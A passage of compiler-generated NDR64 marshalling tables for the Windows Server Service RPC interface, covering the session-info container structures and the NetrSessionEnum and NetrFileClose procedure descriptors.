0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag135\n    }\n};\n\nstatic const __midl_frag130_t __midl_frag130 =\n{ \n/* SESSION_INFO_10_CONTAINER */\n    { \n    /* SESSION_INFO_10_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_10_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag138,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag129_t __midl_frag129 =\n{ \n/* *SESSION_INFO_10_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag130\n};\n\nstatic const __midl_frag128_t __midl_frag128 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag119\n    }\n};\n\nstatic const __midl_frag124_t __midl_frag124 =\n{ \n/* _SESSION_INFO_2 */\n    { \n    /* _SESSION_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag119_t __midl_frag119 =\n{ \n/* *_SESSION_INFO_2 */\n    { \n    /* *_SESSION_INFO_2 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 3 /* 0x3 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 32 /* 0x20 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        &__midl_frag124\n    }\n};\n\nstatic const __midl_frag118_t __midl_frag118 =\n{ \n/* SESSION_INFO_2_CONTAINER */\n    { \n    /* SESSION_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag128,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/* *SESSION_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag118\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag109\n    }\n};\n\nstatic const __midl_frag113_t __midl_frag113 =\n{ \n/* _SESSION_INFO_1 */\n    { \n    /* _SESSION_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag109_t __midl_frag109 =\n{ \n/* *_SESSION_INFO_1 */\n    { \n    /* *_SESSION_INFO_1 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 2 /* 0x2 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 32 /* 0x20 */,\n        &__midl_frag113\n    }\n};\n\nstatic const __midl_frag108_t __midl_frag108 =\n{ \n/* SESSION_INFO_1_CONTAINER */\n    { \n    /* SESSION_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag116,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag107_t __midl_frag107 =\n{ \n/* *SESSION_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag108\n};\n\nstatic const __midl_frag106_t __midl_frag106 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag101\n    }\n};\n\nstatic const __midl_frag101_t __midl_frag101 =\n{ \n/* *_SESSION_INFO_0 */\n    { \n    /* *_SESSION_INFO_0 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_0 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag376\n    }\n};\n\nstatic const __midl_frag100_t __midl_frag100 =\n{ \n/* SESSION_INFO_0_CONTAINER */\n    { \n    /* SESSION_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag106,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag99_t __midl_frag99 =\n{ \n/* *SESSION_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag100\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/* SESSION_ENUM_UNION */\n    { \n    /* SESSION_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag99,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag107,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag117,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 10 /* 0xa */,\n        &__midl_frag129,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag139,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/* _SESSION_ENUM_STRUCT */\n    { \n    /* _SESSION_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag97\n        },\n        { \n        /* _SESSION_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag95_t __midl_frag95 =\n{ \n/* *_SESSION_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag96\n};\n\nstatic const __midl_frag88_t __midl_frag88 =\n{ \n/* NetrSessionEnum */\n    { \n    /* NetrSessionEnum */      /* procedure NetrSessionEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ClientName */      /* parameter ClientName */\n        &__midl_frag733,\n        { \n        /* ClientName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* UserName */      /* parameter UserName */\n        &__midl_frag733,\n        { \n        /* UserName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag96,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag83_t __midl_frag83 =\n{ \n/* NetrFileClose */\n    { \n    /* NetrFileClose */      /* procedure NetrFileClose */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 